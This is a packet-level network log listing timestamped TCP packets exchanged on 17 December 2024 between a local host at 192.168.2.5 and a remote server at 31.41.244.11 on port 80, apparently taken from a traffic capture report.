Dec 17, 2024 08:03:11.561650991 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.562591076 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.562608957 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.562647104 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.562691927 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.563503981 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.563560963 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.563642025 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.563719034 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.564510107 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.564568043 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.564649105 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.564702034 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.565836906 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.565891981 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.565983057 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.566034079 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.566703081 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.566720009 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.566754103 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.566785097 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.567711115 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.567727089 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.567766905 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.567766905 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.568597078 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.568654060 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.568732977 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.568782091 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.569720030 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.569771051 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.569776058 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.569823980 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.570806026 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.570859909 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.570925951 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.570975065 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.571729898 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.571782112 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.571851969 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.571903944 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.572762966 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.572810888 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.572885990 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.572937012 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.573779106 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.573858023 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.573936939 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.573987961 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.574794054 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.574870110 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.575063944 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.575144053 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.575844049 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.575897932 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.576037884 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.576082945 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.576843977 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.576894999 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.577152967 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.577204943 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.577847958 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.577898026 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.577975035 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.578025103 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.578892946 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.578947067 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.578968048 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.579015017 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.579921007 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.579967976 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.580045938 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.580095053 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.580930948 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.580981970 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.581059933 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.581108093 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.582143068 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.582195997 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.582305908 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.582359076 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.582969904 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.583019972 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.583071947 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.583118916 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.584070921 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.584125042 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.584153891 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.584203959 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.584965944 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.585016012 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.585066080 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.585153103 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.586059093 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.586112022 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.586162090 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.586210966 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.587157011 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.587209940 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.587256908 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.587306023 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.588059902 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.588116884 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.588198900 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.588249922 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.589098930 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.589152098 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.589200974 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.589250088 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.590221882 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.590272903 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.590300083 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.590349913 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.591304064 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.591362000 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.591372013 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.591422081 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.592195988 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.592245102 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.592324018 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.592376947 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.593291044 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.593307018 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.593341112 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.593372107 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.594201088 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.594254971 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.594321012 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.594383001 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.595357895 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.595411062 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.595513105 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.595565081 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.596637964 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.596690893 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.734741926 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.734998941 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.735002995 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.735080004 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.735141993 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.735172033 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.735203981 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.735236883 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.736161947 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.736222029 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.736268044 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.736321926 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.737246037 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.737304926 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.737376928 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.737431049 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.738200903 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.738257885 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.738339901 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.738393068 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.739268064 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.739336967 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.739383936 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.739433050 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.740293980 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.740350962 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.740355015 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.740406036 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.741271019 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.741321087 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.741450071 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.741502047 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.742326021 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.742378950 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.742429018 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.742480040 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.743338108 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.743397951 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.743453979 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.743519068 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.744352102 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.744406939 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.744436979 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.744486094 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.745429993 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.745481968 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.745507956 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.745589972 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.746479988 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.746496916 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.746537924 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.746537924 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.747410059 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.747467995 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.747550011 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.747601032 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.748414993 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.748467922 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.748564005 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.748616934 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.749458075 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.749511957 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.749561071 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.749610901 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.750621080 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.750637054 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.750679016 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.750679016 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.751558065 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.751616001 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.751621008 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.751673937 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.752645969 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.752662897 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.752703905 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.752703905 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.753609896 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.753626108 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.753667116 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.753668070 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.754683018 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.754698992 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.754745007 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.754745007 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.755752087 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.755779028 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.755806923 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.755855083 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.756637096 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.756691933 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.756772995 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.756823063 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.757760048 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.757811069 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.757884026 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.757942915 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.758677006 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.758833885 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.758888960 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.759836912 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.759953976 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.759984016 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.760014057 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.760807037 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.760823011 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.760875940 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.761756897 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.761835098 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.761888027 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.762837887 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.762852907 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.762904882 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.763775110 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.763835907 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.763878107 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.763930082 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.764826059 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.764914989 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.764960051 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.764990091 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.765794039 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.765925884 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.765988111 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.766017914 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.766846895 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.766930103 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.766940117 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.766984940 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.767879009 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.767934084 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.767978907 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.768096924 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.769006968 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.769107103 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.769155025 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.769890070 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.770095110 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.770140886 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.770984888 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.771001101 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.771039963 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.771040916 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.771964073 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.772016048 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.772070885 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.772114038 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.772964954 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.773015976 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.773093939 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.773138046 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.774034977 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.774087906 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.774110079 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.774152994 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.775034904 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.775087118 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.775130033 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.775192022 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.776118994 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.776242971 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.776288986 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.777098894 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.777178049 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.777226925 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.778085947 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.778134108 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.778212070 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.778273106 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.779102087 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.779181957 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.779230118 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.779308081 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.780137062 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.780189991 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.780267000 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.780313015 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.781131029 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.781191111 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.781267881 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.781317949 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.782254934 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.782306910 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.782598019 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.782651901 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.783330917 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.783345938 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.783386946 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.783387899 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.784230947 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.784277916 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.784327984 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.784374952 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.785243988 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.785295963 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.785339117 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.785401106 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.786336899 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.786386013 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.786447048 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.786497116 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.787362099 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.787409067 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.787415028 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.787471056 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.787471056 CET	49822	80	192.168.2.5	31.41.244.11
